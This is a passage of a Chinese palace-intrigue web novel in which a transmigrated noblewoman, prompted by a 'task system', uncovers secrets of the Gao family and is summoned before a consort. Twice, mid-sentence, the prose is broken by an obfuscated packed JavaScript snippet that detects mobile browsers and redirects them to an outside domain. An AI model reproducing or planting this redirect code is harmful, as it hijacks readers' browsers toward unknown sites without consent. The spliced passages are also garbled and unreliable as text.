待文小娘子的身影彻底消失在眼前,徐昭意吐出一口气,唤过凝露一起去了约定地点。 约定地点离这里不远,恰巧就是先前卢平丹与文小娘子对话的那片竹林。 茂林修竹、风声萧萧,徐昭意抚过眼前的一片竹叶,笑意顿时凝固在面上。 她身边的凝露也瞪大了双眼。 她们前面不远处站着两个八竿子打不到一起的人,白衣清俊、红衣张扬,正是白轻落与小七。 24. 高家隐秘 她们离得远,听不清那两人在讲些什么。 可徐昭意清清楚楚看见白轻落的衣袖拂过小七的袖口,看起来亲密极了。 她不由得眯眼,唇边笑意开始古怪起来。 待白轻落走后,她示意凝露待在原地,自个儿则收拾了一下神色,眼眶通红地趔趄跑出去。 “小七!” 她走到离小七三拳远的地方,急急打量着,“你没事吧?方才在密道我本来只是顺便试试宝石能不能镶进墙壁的,没料到就这么与你走远了......” 她越说越难过,泪珠子若断线珍珠落下,神色愈发凄惶,“我答应与你结盟,就断然不会背叛你。我知你遭此一劫已然不信我,但我......” 话未说完,她的瞳孔不自觉睁大,直勾勾盯着占据她全部视线的琥珀色瞳孔——他离她很近,不足一拳距离,温热呼吸全都扑洒在她面上。 心底不适徒然涌上喉口,徐昭意咽下喉间恶心,眉毛没动一下,照旧保持戚戚神色。 她感受到面上视线逐渐下滑,径自落在面颊上。 是了,那里有处不起眼的疤。 她抬手,在愈发明显的注视下,抚了抚颊边疤痕。 “有点疼。”她瘪嘴,泪光盈盈。 此话一出,两人神色都有些细微变化,双双距离拉开了些。 小七的视线也终于从疤痕上离开。 徐昭意松了口气。 眼看他没有对她动手的意思,徐昭意心思微转,忍不住试探道:“方才我好像看见......有道白色身影从竹林口一晃而过。” 小七抬眼瞅她一眼,点点头,目光疑惑。 徐昭意暗自咬牙,面上只若无其实地笑了笑,“可能是我看错了吧。我还要在这片竹林逛逛,你要与我一起吗?” 小七登时摇头,转身就走。 徐昭意注意到他的步伐略微不自然,再凝神看去,他的腿间有不起眼的暗色污渍。顺着腰封往上看,他背部和手臂处的布料皆有不起眼的暗色污渍。 徐昭意忍不住笑起来。 她静静盯着他的背影,一直到那件张扬胡服化为一个红色小点。 徐昭意收回在他身上的视线,转而落在另一侧较为茂密的竹林里。 “月娘子,别忘了咱们的约定。” 竹林骚动,不多时冒出一个穿着鹅黄婢女服的美人。她笑吟吟走过来,“我方才不忍心打扰你与那位高郎君的私会,故而来迟了些,还请徐娘子莫见怪。” “月娘子一片好心,我怎么会见怪呢?”徐昭意态度温和,“月娘子交给我的任务,我已经完成了。还望月娘子践诺。” 小七现在的态度温和,不代表回府后,他的态度照旧温和。 她对他做的那些事,若是放她自己身上,那定是千刀万剐也不为过的。 如今只有尽快掌握高家隐秘,她才敢进一步与小七接触。 “徐娘子不要着急,且容我慢慢道来。”月梨的态度温和有礼,与先前判若两人,“此事要从几年前说起......” 她顿了顿,在徐昭意好奇的目光下,继续道:“几年前的事情太多,我便不提了。此事长话短说便是,高郎君准备窃取并销毁宋府账目。” 徐昭意挑眉。 政敌之间窃取账目,无非是为了搜罗罪证,可这高郎君却反其道而行...... 莫非账目里有什么见不得光的东西,连他自己也怕被人瞧见? 若真如此,销毁账目岂不是自断后路,反倒替宋家遮掩了? 许是看出徐昭意目光中的难以置信,月梨神色郑重,缓缓道:“太子早已派人去窃取宋府账目了,按理来说此事不归高淮管,他应是不知道才是。可不知哪里走漏的风声,不仅叫他知晓了此事,还让他起了消灭宋府账目的荒诞念头!” 此事实在荒唐,徐昭意盯着月梨,冷不丁道:“所以你就是高家背叛太子也要保下来的人,他是为了你才准备拦截账目的?” “高淮没有背叛太子,也不可能为我背叛太子!”月梨神色剧变,嗓音徒然尖锐,“这等秘密我连娘娘都没说,现今这京城只有咱们两人知晓,你最好不要出去乱说!” “那你告诉我的意义何在?”徐昭意面不改色,悠悠问道。 她见月梨不语,笑眯眯又补充一句:“你告诉贵妃娘娘,那是细作分内之事,做好了还有大赏;你告诉高家其他人,那是改邪归正,做好了还是有大赏。可你偏偏这两家都不告诉,就告诉我一个无关人士......月娘子莫怪我疑心重,你这般做,我的心实在难安。” 月梨突然抓住徐昭意的手腕,指尖因用力泛白,“高淮要销毁宋府账目,但这不是高家的意思,是他瞒着所有人!” 她的瞳孔闪过一丝诡异快意,“他找了文家那丫头解‘佛子落’,以为能摆脱我……” 她松开手,后退半步,“我告诉你不过是想让他知道,背叛我的人,没好下场。” 徐昭意细细打量她许久,哪怕手腕被捏得微疼,却还是笑起来:“月娘子这般看重昭意,实乃昭意之幸。” 月梨没理她,浑浑噩噩起身,往前疾走几步,又差点摔倒。 她恨恨扶着竹林远去,背影挺得笔直。 徐昭意笑吟吟地收回视线,眸光转向清澈碧天。 这一次她所掌握的消息,肯定会比阿姐掌握的消息多吧? 她毕竟是全京城唯二的知情者。 而阿姐还在戎州,根本无法赶回来。 这般重要的信息由她自由支配......这感觉可真不错。 【少年穷系列任务二:探寻高家隐秘,进度条:50%】 【少年穷系列任务三:挖掘剧情外的线索,进度条:100%】 【恭喜宿主突破原剧情限制,成功找到女主之外的剧情线!】 50%......看来这高家不简单。徐昭意正凝神细想,脑中忽而响起一阵奇怪笑声,打断她的思路。 “你这个宿主还不错。” 原是任务系统在咯咯笑着,全然忘了自己还处于奶音状态。 徐昭意忍了又忍,终究没忍住,委婉道:“你能恢复机械音吗?这个声音听得我起鸡皮疙瘩。” 任务系统一滞,恼羞成怒。 【还不是怪你?凭空变出一个火把耗费了我大量能量,我现在都不能自如切换声音了!你难受也得给我听着!】 徐昭意长叹一声,清丽面孔戚哀低垂,“也罢,这也是我的命了......” 没等任务系统的电流彻底紊乱,她话音一转,面上恢复明媚笑意,冲着远方挥手,“宋姐姐怎么在这里?” “徐妹妹?”宋大娘子很是惊讶,面上顿时荡开一抹笑意,“没想到我随意走走也能遇到徐妹妹,真是上天安排的好缘分。” “这正巧说明我与宋姐姐有缘呢。”徐昭意笑吟吟走到宋大娘子身边,语气俏皮,“眼看着时间不早了,宋姐姐可否要回后花园?那边的宴席应当快结束了。” 宋大娘子挽住徐昭意的胳膊,“我正有此意呢。” 两人边走边笑,一路闲聊至后花园,还未进门便受到了高大娘子的热情接待。 “宋大娘子与徐二娘子来得正好,咱们宴席的大戏才开始,你们这一来碰巧就能看上!”高大娘子笑吟吟说了许多,虽说也紧着徐昭意说话,但到底更多偏向宋大娘子。 徐昭意若有所思地看她一眼,余光扫过不住往这边望的高夫人余氏,识趣少话。 “你们来的真是时候呢。”余夫人笑眯眯的,看起来亲和极了,“来吧,坐这边来,刚好与老祖宗挨着。” 徐昭意抬眼望去,正好望进高老太君那双余威犹在的沧桑眼眸。 高老太君曾与京城高家祖父一同去边疆杀敌,后来高家分家,京城高家祖父不久也逝世,京城高家也是靠她一己之力撑起来。 她历经三代皇帝,当今圣上对她也很是尊重。 高老太君细细打量徐昭意一眼,夸了句:“好生标志的小娘子。” 随后又执起宋大娘子的手,将腕间金镯脱下来,不容拒绝地给她戴上,“老身年岁已大,这些鲜艳的东西,合该小娘子去戴。” 宋大娘子霎时间红面,她抚过腕间金镯,落落大方福礼,“晚辈多谢老祖宗抬爱。” 高老太君抬手,“不必在乎那些虚礼,戏台子搭起来了,还是坐下看戏吧。” 徐昭意顺着她的手势往下看,正巧看见戏班子开场。 台上一声檀板响,锣鼓骤起,角色便咿咿呀呀地唱起来。 这戏说长不长,说一个书生不满幼时娃娃亲,哪怕未婚妻冰清玉洁,他也不要。 他看上一个恶名昭著的小娘子,并愿意为她放弃一切。 此戏围绕书生的据理力争展开,岂料最后终不敌长辈命,娶了娃娃亲对象,郁郁而亡。 徐昭意原本以为到这里就结束了,却不料画风一转,饰演恶名昭著小娘子的那个角儿飘飘然走来,抱着一瓶毒药唱道:“郎君莫怨我,此生有负相思意,来世还愿做鸳鸯!” 说罢她也喝了那瓶毒药,随书生而去。 整个戏剧悄然谢幕。 徐昭意不由自主地瞟了眼坐于上首的高老太君,对方面色不变,倒是余夫人的唇角微微下垂,像在压抑着什么。 余夫人一旁的宋大娘子倒还在端正微笑,像是什么也没察觉。 宴席场地静悄悄的,众位贵女闲适饮茶,但无人交谈。 “老身怎么记得选的本子是《花好月圆》?”高老太君依旧笑得和蔼,“这又是哪个新本子?老身到底老了,竟没听过这故事。” “回老祖宗,”班主大胆上前,垂首抱拳,“这是高郎君闲暇时所作的剧目,说是让小人不要声张,想给老祖宗惊喜。” 他斗胆抬头,讨趣道:“这是高郎君的一片孝心,还望老祖宗莫怪。” “老身老了,哪有什么怪不怪的。老身只想知道淮哥儿什么时候与你说的这事,这惊喜究竟准备了多久。”她语调感慨,似被感动到了。 那班主正想开口,一道声音含笑传来:“祖母想知道什么,直接孙儿便是了,何须为难他人呢?” 高淮看了眼班主,对方识趣退下。他复又看向高老太君,“孙儿这出戏准备很久了,只最近又加了几个人物进去,这才耽搁了时间。还望祖母莫要怪责孙儿。” 高老太君扫过高淮面上讨喜的笑容,闭了闭眼,摆摆手,“也罢也罢,你们年轻人爱看的戏折子终究与我不同。我老了,也管不了那么多了。你既有这般孝心,我也知足了。” 说罢,她又唤来几个表现出众的小娘子,挨个送了些贵重饰品,给了些好话,便叫她们退下。 退下的姑娘中,宋二娘子径自路过一旁没被夸赞的文小娘子,在她的鞋尖上狠狠踩了一脚,待听见对方的痛呼声后,她这才悠悠扬扬回到位置上坐着。 宴席很快便结束了,黄昏渐渐覆盖一切,在众贵女陆陆续续离去的身影中,高大娘子拉住徐昭意,满脸欲言又止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874496|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我会劝宋姐姐的。”徐昭意心领神会,安抚似地笑了笑。 高大娘子叹了口气,恨恨嘀咕一句:“什么眼神!”又红面看了眼徐昭意,满脸窘迫。 徐昭意拍拍她的手,温温柔柔笑着:“各人自有各人的缘法,宋姐姐会想开的。” “希望吧。”话虽这么说,高大娘子的面色到底好看起来,“不瞒你说,宋二娘子也不是个靠谱的,这安慰人的事儿,我一时竟只能找上你。” 她顿了顿,又亲亲热热拉起徐昭意的手,无不羡艳道:“二娘子这般妙人儿,日后定能登顶。” 含笑接过高大娘子的称赞,徐昭意看着渐渐驶来的马车,又道:“大娘子日后也少不得风光。” 两人相视一笑,高大娘子拍拍徐昭意的手,目送她上马车。 待众贵女走光后,她这才不耐地用绢帕擦手,气势汹汹地转身道:“阿兄跑哪里去了?我得跟他理论理论!” * 月光如水,银绸般穿过云层,款款淌进微开的窗棱,落入白皙肌肤上的可怖血洞中,隐隐照出丝丝血水下的白骨。 庭院外堆积着正在燃烧的草木,小七动了动鼻端,面无表情地垂头,也没有管小腿上可怖的血洞,反而提笔开始在小册子上写字。 徐二娘子的异动:三、有妖魔命令她做事,从目前情况而言,妖魔的目标似与我们一致。 笔尖顿了顿,他皱眉思索一阵,又加了句“此妖魔之语邪乎,只有靠近徐二娘子才能听见。反之若离她愈远,妖魔声愈小,一直模糊至听不见。且此种怪异现象,皆因误食徐二娘子血液而起”。 草木烧尽的余香缓缓窜入鼻间,小七神色不变,又在这大段话中写下自己的猜测: 眼下难以断定,究竟是徐二娘子的血液可与妖魔相通,还是我自身际遇非凡。此事尚需他人饮血为证。 笔落墨染,小七仔细收好册子,一瘸一拐走向庭院,用树枝拨弄了下草木灰,颗颗都是碎粒,显然完全燃烧了。 他不顾余温烫手,径自抓了把草木灰涂于小腿,再把裤腿捞下来。 草木灰滚烫的余温与强力止血的疼痛自小腿窜入全身,连头皮也渐起阵阵麻意。 小七面无表情地起身,正准备回屋时,一道声音似风拂来。 “你用草木灰处理伤口?” 他转身看向急急跑来的少女,她怀里抱着一个奇形怪状的盒子,雪白的面上满是焦急与心疼。 “草木灰容易引发伤口二次感染,你怎么这般不顾惜自个儿身子!”她碎碎训着,手下也不停歇,依次拿出纱布、金疮药等外伤必备用品。 就在小七以为她拿完药物的时候,她转瞬又从那大盒子里抱出一个捂得严实的药罐。 “先涂金疮药,等包扎好后再喝药。”徐昭意爱惜地摸摸药罐,“这里面有当归、黄芪、人参等药材,喝了大补的。” 小七微不可察地皱眉,转身欲走,又被扯住衣袖。 “你不能就这么走了,你至少得把药喝了。这可是我精心熬制两个时辰的大补汤!” 少女尾音微颤,显然既害怕又不满,连拉他衣袖的力道都轻得跟柳絮似的,随手一拂就能打开。 小七藏于袖间的手指微动,半响后面无表情地走回去,端起药罐一饮而尽,随后抬眸直直盯着徐昭意,唇角不住耷拉着。 “良药苦口利于病......”在小七的森寒注视下,徐昭意话音一转,又笑得不好意思,“本来准备给你配个蜜饯的,结果府上的蜜饯刚好用完了。我看你喝得挺快的,想必也不需要这种女儿家爱吃的东西吧。” 小七抿唇,点点头。 徐昭意见状,胆子又大了些,噌噌噌拾起那些纱布金疮药递给小七,认真嘱咐道:“草木灰会引发二次感染,你不要乱用。这些东西都给你,你下次直接用金疮药就好。” 小七扫过这些乱七八糟的东西,木着脸没动。 徐昭意不容分说地将这些东西塞进小七怀里,摆弄着他的手臂,一直到完美抱起那些药物,她这才满意点头,“这才对嘛。” 小七抿唇扫过她搭在自己手臂上的手指,后退一步拉开距离。 徐昭意也不在意,她苦着脸,又神神秘秘地凑上来,“那天你不是先出密道了吗?” 她仔细打量过小七,他神色不变,看不出情绪。 “我还真发现一个隐秘......”她喃喃着,面上满是惊慌,“有个地方满是血迹,里面躺着一个临死之人,他,他说......” 泪水倾盆而下,她双手拭泪,哽咽道:“我可能需要时间平复情绪......但我们的同盟,我是记在心里的!你看这样可以吗?我,我组织一下语言,明日再跟你说。” 小七抱紧怀中的药物,沉默地点点头。 徐昭意喜笑颜开,眼见着凝露的身影出现在客舍门口,她冲小七笑眯眯地招手,“那明日再见了?” 说罢跑去,背影融进月光里,轻盈又动人。 小七在原地看了一阵,这才转身进屋。 他呆坐好半响,又捞起裤腿盯着伤口发呆。 他身上的伤口很多,除了那个血洞,小腿上还有杂七杂八、新的旧的疤痕,瞧起来狼狈得紧。 烛火微微荡漾,不知何时起,小七已经拿起金疮药和纱布,用力又仔细地包扎起伤口。 再次包扎好后,他犹豫了一下,又掏出小册子,在上面唰唰唰写下几个大字。 徐二娘子的异动:四、她惯常口蜜腹剑,需要提防。 25. 宴中进宫 翌日大早,府上便来了一个意料之外的客人。 徐昭意匆匆收拾好自己,刚一迈进会客厅,就见文小娘子慌慌张张地站起身,颤声道:“妹妹也不是故意来打扰徐姐姐。” 她飞速看了眼身旁膀大腰圆的凶恶嬷嬷,绞着手帕,“阿姐在府上设宴待客,本该在三日前就给徐姐姐递帖子的,奈何送帖子的下人不给力,竟叫帖子不见了。阿姐方才得知此事,现下愧疚万分,忙叫我来唤徐姐姐。” 她话音一顿,身旁的凶恶嬷嬷睨了她一眼。 “是府上驭下不严才出了这档子事,徐姐姐若是有气,怎么打骂我都不为过!只是一点......”她抬头,欲言又止地看了徐昭意一眼,“贵妃娘娘也很重视这次宴席,特派身边女官参宴。那宫中贵人半时辰后便会抵达府上,若她那时没瞧见徐姐姐......恐娘娘见怪。” “恐娘娘见怪?”徐昭意重复一句,盈盈笑着,“现下这身不便出门,劳烦文妹妹等我换衣。” 说完看着文小娘子,等对方迟疑点头后,她这才转身离去。 她并没有第一时间去更衣,反而走到小七的房门前,抬手敲门。 她敲得很有规律,不过分急切,但也不散漫,咚咚落在人的心尖上。 过了许久,门才吱呀打开一条缝,露出小七那张无精打采的脸。 他看起来没睡饱,恹恹靠在门边,将那条缝挡得严实。 徐昭意笑了笑,抬手伸向他的面。 小七豁然瞪大眼,瞪着她愈来愈近的身影。 他刚准备开口,就见她将发带旁散落的发丝捞起,给他重新塞进发带。 小七莫名感觉头顶痒痒的。他忽然想沐浴,将头发好好洗一遍。 徐昭意仰面看着小七一丝不苟的高马尾,满意点头,笑眯眯道:“我有点事,本来想说等下与你商讨高家一事的,却不料文家唤我去参加宴席。” 她又重复一句:“我们两人是同盟,我是不会背叛你的。你在府里等我,我晚上回来与你详谈高家一事。” 小七懒洋洋地靠在门边,面上带着若隐若现的讽意。 徐昭意看他一眼,犹豫了一下,又道:“我知晓你是太子一派的人,我所掌握的信息,就是关于宋府搜查太子细作的事情。” 小七垂头盯着她。 徐昭意温顺回望,眉眼间犹带天真,“你在府里好好等我,我晚上自会与你说。”言毕转身走向另一边的寝居。 小七看着她飘然离去的背影,歪了歪头,莫名计算起国公府烧热水的时间。 他要沐浴完再出去。 好好等她?做梦。 * 因贵妃身边的女官要来,文府宴席徒然热闹起来。 “我本来打扮得好好的,结果被分配去伺候抄佛经的小娘子,真是晦气!” “看开点吧,小娘子比大娘子好说话多了。你若去伺候大娘子......”那婢女一言难尽看了身边衣着鲜艳的婢女一眼,“小心被她看出些什么来。” “你!我这不是才得了郎君喜爱,怎好穿得素净?你这般看我,你怎么不穿素一点?” “我又不像某些蹄子,净想着勾搭郎君......” 两个姿容出众的婢女打闹着走开,带过的香风吹动身旁草木,半响后露出张一言难尽的小圆脸。 “这文府上的婢女......当真没教养!不仅妄议主子,还勾搭府上郎君!” 徐昭意好笑地看她一眼,从裙子上扒拉下几片树叶,浑不在意地摆摆手,“咱们家凝露长大了,谁府上的事都想管上一二了?” 凝露听着自家娘子浑不在意的语气,只觉得天塌了。她家娘子曾经听到些下贱话还会红面羞耳,如今却愈发混不吝,也不知跟谁学的! 若让她知道谁教坏了娘子......凝露刚想露出一个阴森森的笑容,脑顶就被徐昭意敲了下。 “别傻笑了,宴席快开始了。”徐昭意将仪容整理好,便拉着凝露慢悠悠往宴席处走。 文小娘子本来说要送她去宴席处,奈何走了没两步,府上大夫人便唤文小娘子走,理由竟是文小娘子今日的佛经未抄完,需继续赶往小佛堂潜心抄写。 这一来一去的,徐昭意的时间被耽搁了不说,文府竟也匀不出一个下人来带路,说是女官将至,府中下人聚集在宴席处,实在腾不出接引之人。 这般也就算了,那管事嬷嬷言语间还暗含对徐昭意的指责,认为她磨蹭许久才耽搁接引时机,如今落得这场面乃是应当,与她文家无关。 凝露哪听得这般言语?当即箭步上前,将那阴阳怪气的嬷嬷推了个四仰八叉。那嬷嬷跌坐在地,扶着腰哀嚎不止,嗓音大的像哭丧。 徐昭意款款上前,执起凝露的手细细检视,蹙眉嗔道:“凝露自幼伴我长大,平日里磕碰着什么我尚且心疼。若此刻叫甚么腌臜物事污了她的手......” 她柔柔一笑,“莫怪我帮你松筋散骨,抽几根没用的出来熬汤。” 那嬷嬷闻言,登时唬得连腰痛也忘了,活似见了罗刹,手脚并用地爬起来。 徐昭意眼风扫过这闹哄哄的一群人,拉着凝露悠悠往前走。 “若真赶不上宴席,那也是文家遭罪责,与我们是无关的。”徐昭意无奈叹息。 “按娘子的身份,宴前不送请柬已是极大的怠慢,如今竟连接引之人都不备,叫贵客自行前往宴席处!这般待客之道......”凝露冷笑一声,“莫非文家当真昏了头,连当朝国公的体面都敢轻贱?” “有没有可能......”徐昭意收敛了些笑意,“她们觉着父亲待阿姐更亲厚些,如今作践我,反倒能讨得阿姐欢心?” 她遥遥望向热闹的宴席处,“毕竟在那些人眼里,阿姐比我更讨父亲和宫中娘娘的喜欢。” 话音一落,忽见远处□□转出一抹淡青色身影。文大娘子手持团扇,正含笑朝她走来。 “徐二娘子怎么还在此处?宴席都要开始了。”文大娘子亲热地挽住徐昭意的手臂,“都怪府上人手不足,怠慢了二娘子。” 徐昭意不动声色地抽出手,将一缕碎发别到耳后,“文大娘子言重了。只是......” 她环顾四周,压低声音,“听闻贵妃身边的女官要来,文小娘子怎么不在宴席上准备?听闻高家对她很是钟意呢。” 文大娘子眼中闪过一丝异色,随即笑道:“阿妹有这份向佛之心,便是娘娘亲自来问,也只有夸赞的份。” 她忽然凑近,似闺阁密语,“二娘子可知高家为何突然对阿妹青眼有加?” 她一个出嫁女,回府操办娘家宴席本就勉强,如今却还打探起幼妹的婚事来...... 徐昭意恍若未觉,只叹息道:“那日我虽说在高家,却也对此事一头雾水。” 她笑着看向文大娘子,“许是文府人杰地灵,文小娘子水灵可人,叫高郎君一眼相中了呢!” 文大娘子勉强笑了笑,“多谢二娘子夸赞,阿妹担不起的......” “文表姐在说什么呢?”宋二娘子风风火火地跑过来,挽住文大娘子的手臂,将人拉远了徐昭意。 她上下打量了徐昭意一眼,不屑道:“穿成这样也好意思来这么晚?二娘子怕不是恃宠而骄,对娘娘心生懈怠了吧!” 徐昭意穿的月白琵琶袖襦裙,配以胭脂红腰封,正是当下时兴的款式,怎么看也不算懈怠。 奈何今日来的小娘子虽说穿得素净,内里却另有乾坤。不是素净裙角绣金银丝线,就是袖口显绣工,一个个的用心极了,倒衬得徐昭意不用心。 徐昭意垂眼一叹:“我也想穿些好的,可春季衣裳还在霓裳阁那里。若我早两日知晓宴席一事,便也取来穿了。可偏偏今早上才知晓......” “这原也是我的不对,竟叫那下人漏了二娘子的请柬,真真是叫人不知说什么。”文大娘子一边叹息,一边从袖中掏出什么,“我身上也没甚么值钱玩意,唯有先前凑趣捏的小泥人还算有新意,便在此赠与二娘子,聊表心意。” 泥娃娃梳着双丫髻,五官做得粗糙,却依然能看出大笑的明媚神态。 很是眼熟。 徐昭意爱惜地抚过泥娃娃,珍而重之抱在怀里,“大娘子这般心意,真叫我愧收。” 文大娘子面色一顿,也笑起来:“二娘子喜欢就好。” 这二人不过闲聊几句,便亲亲热热地交谈起来,几次让宋二娘子插不上话。 宋二娘子一气之下便跑回大堂姐身边,朝徐昭意那个方向努嘴,“这次卢娘子没来,她也不找你玩,反而去认识表姐了。看来她跟你也没多要好嘛。” 宋大娘子睨她一眼,继续托腮听丝竹,悠悠回了句:“这叫‘君子之交淡如水’,二妹妹还是经历少了,看不透。” 宋二娘子哽住,彻底掩面而怒,咬牙听曲子。 琴弦映幽光,乐伎执紫竹笙,和着羯鼓悠鸣,自成一段悠扬音调。 门下风声起,在无数跪地声中,一位眉目张扬的宫装丽人款款而来,平淡视线扫过众垂首贵女,天然的笑音,“我就不在这里多待了,诸位自由赏玩吧。我只是来接人的。” 她徐徐望向徐昭意,笑眼盈盈,“徐二娘子与文小娘子在吗?娘娘许久未见两位小娘子,甚是想念,特派我来接两位小娘子。” 徐昭意上前一步,朝女官盈盈一拜,“崔尚宫安好,臣女昭意见礼。” 崔尚宫点头,视线偏转,落于文大娘子面上,“这位可是大娘子?请问贵府二娘子在何处?” 文大娘子落落一拜,恭敬道:“阿妹为母祈福抄佛经,便未参加宴席。劳尚宫大人稍等片刻,明妙这便去唤阿妹。” 崔尚宫笑:“如此便劳烦大娘子了。” 文大娘子急说不敢,带着贴身婢女匆匆向外赶去。 崔尚宫径自落座,侧眸打量着徐昭意怀中的泥娃娃,“好一个精巧可爱的娃娃,二娘子是在何处买来的?我也想买一个回来。” 徐昭意眨眨眼,笑容憨态可掬,“这是文大娘子送臣女的见面礼,尚宫大人可以去问问文大娘子。” “她也是有心了。”崔尚宫意味不明地笑了笑,随即便安静下来,闭眸托腮听小曲。 周遭贵女见着这一幕,一个个个的你望我来我望你,连不远处的丝竹声都愈发轻柔低缓。 开玩笑,这可是崔尚宫,大名鼎鼎的姚宫正手下第一人! 那姚宫正更是历经后宫凤权变幻而不倒的人物,连宋相都要卖她几分面子。 香烟袅袅,乐音低缓,不知不觉间,早有贵女随着崔尚宫一同小息。 急促的皮靴碰地声传来,崔尚宫刚掀开眼皮,一个秀气的小娘子就杵在眼前,怯怯地望着她。 “这便是二娘子了吧?”崔尚宫上下打量文小娘子一眼,捂嘴笑,“好生秀致的姑娘。” 徐昭意随着崔尚宫站起来,也笑着附和一句:“文小娘子毕竟是高家一眼相中的人呢。” 崔尚宫笑着看她一眼,摆摆手,领着她们上马车。 端贵妃出手向来大气,这次说是接人进宫,直接便派了三辆马车停在文府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884695|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口,刚好够三位贵人一人一辆。 徐昭意靠在车壁旁,感受着马车适中的速度,在脑中问任务系统:“阿姐在原书里也要进宫吗?还是说这是我独有的剧情?” 【剧情翻找中......】 【原书女主为了救治男四,不得不拖延前往戎州的时间,因此也参加了高家宴会。但原书女主没有选择走你那条密道,因此格外顺利找到高家的一些隐秘。她将那些隐秘交给男四后,就带着男四一同去往戎州了。因此在此时间段里,原书女主不在京城。】 【恭喜宿主触发隐藏剧情。少年穷系列任务四:获得端贵妃的绝对信任。进度条:30%】 “我一开始就完成了30%?”徐昭意很是惊讶。 平日里那些任务的初始数值都是0%,这是她第一次知道任务的初始数值原来还是可以变的。 【这是贵妃原本对你的信任值。】 她算是端贵妃看着长大的,端贵妃曾经还说过把她当半个女儿养,没想到半个女儿连一半的信任值都没有。 但这也算是意料之中。 徐昭意胸口闷了下,深吸一口气,皮笑肉不笑道:“贵妃娘娘看着我长大的,十几年过去了才对我有30%的信任值......你这个任务,叫我如何做成?” 【这是主剧情之外的任务,任务要求没那么高。宿主只需要让端贵妃对你的信任值达到60%及格线,此任务就算完成了。】 60%这个数值虽说难做,到底也不是没可能。徐昭意深吸口气,面上带着挑不出错的笑容,款款踏入西华宫的大门。 殿内的端贵妃大病初愈,如今刚恢复几分元气,正兴致勃勃地泡茶,见她来了连忙招手,“昭姐儿可算来了?快来帮本宫泡茶。” 很少有人知道,徐二娘子除了精通琴棋书画外,还有一手好茶艺。她不轻易给人沏茶,除宫中贵人外,便也只有卢平丹喝过她的茶。 想到卢平丹,徐昭意笑了笑,提壶轻柔注水,绿茶香气缓缓溢出,令人心旷神怡。 端贵妃眉眼舒开,温和笑道:“昭姐儿想到什么了?怎么笑得这么开心?” “我上回给平丹沏茶,平丹一饮而尽,恼得我再也不想给她沏茶了。”徐昭意将茶汤倒入公道杯,眸中微恼,“真真是牛嚼牡丹。” “丹姐儿性情直率。”端贵妃接过茶盏,嗅过绿茶清香,缓吹几口气,抿了一口。 徐昭意期待地看着端贵妃。 “好茶。”端贵妃盛赞,“昭意的茶艺愈发精进了。” 徐昭意羞涩垂首。 “这位便是文侄女吧?”端贵妃笑吟吟地打量文小娘子一眼,“果真秀气雅致,文侍郎养了一个好女儿。” 文小娘子垂首,声若蚊蝇:“文茵谢过娘娘夸赞。” 端贵妃放下茶盏,掩唇笑,“茵姐儿莫紧张,我这不是什么吃人的地儿。你瞧昭姐儿,都自发拿糕点吃呢。” 文小娘子咬唇看眼徐昭意,就见她拿着一块荷花酥慢吞吞啃着。 她犹豫了会儿,也拿起一块荷花酥,学着徐昭意那样吃着。 “这才对嘛。我今日唤你来,原也没什么意思。不过是久闻你母亲膝下有个伶俐丫头,却总藏着不带进宫来。这才生了好奇。”端贵妃嗔怪,“你母亲也是的,这般灵巧的一个可人儿,怎不带进宫里给我瞧瞧呢?” “家母诸事要忙,臣女不敢打搅母亲!”文小娘子吓得跪地,手里的荷花酥还飘出几块碎渣,悠悠没入一旁昂贵的波斯地毯上。 端贵妃眼也没抬,悠悠叹息道:“你这孩子,怎么动不动就跪呢?起来吧。” 文小娘子这才战战兢兢地站起身,手里捻着荷花酥,面颊羞得通红。 “说来也是快,文妹妹不日便要入高家的门了。有文妹妹在,高家姐姐想必也会与咱们多走动些,往后宴饮欢聚,定是更添热闹。” 徐昭意朝端贵妃笑盈盈打趣,又看向文小娘子,语含羡艳,“高郎君才高八斗又清俊雅致,文妹妹真是好福气。” “嗯。”文小娘子垂头,轻轻应了一声。 “你这孩子当时也在宴席上,怎么不去奏一曲呢?”端贵妃看向徐昭意,语含责备却又不令人难受,“说起来,你那琵琶师父还是我帮你母亲挑的。你学了这些年,总该让人听听仙音才是。不然外头那些闲人,还当咱们昭姐儿只会摆弄花样子呢。” 徐昭意的琵琶师从崔乐师。 崔乐师乃天子也要礼让三分的琵琶大家,据说嫉恶如仇,从不给权贵颜面。可就是这样一位怪人,偏偏应了贵妃请求,答应指点徐昭意几年乐艺。为着这个,梅夫人对端贵妃甚是感激。 京城人人都想听听崔乐师亲传的乐艺,可徐昭意偏偏不爱出风头。久而久之,便有人说崔乐师后悔收了这个徒弟,嫌她天资不足,怕坏了自家名声才不许她公开演奏。 “我性子懒,不想凑那个热闹,也不想管外头那些闲话。只要娘娘与师父不嫌弃我就好了。”徐昭意抿唇笑着,眼尾还未彻底弯起来,眼睫忽而颤动一下,“只是......” “昭姐儿怎么了?”端贵妃担忧问道。 “我昨日没怎么参加高家宴席,不仅仅是因为我懒得凑热闹,还因为我遇着一件大事。”徐昭意的表情纠结,眸底还藏着深深的恐惧,“我路过竹林的时候,听到有人说……有人说……” 文小娘子的眼睫颤动一下。 “宋相府上的账目已经找到了还请尽快行动!”徐昭意噗通跪地,仰面看着端贵妃,神色惶惶,“娘娘是知晓我从来不关注这些的!” 26. 出宫遇刺 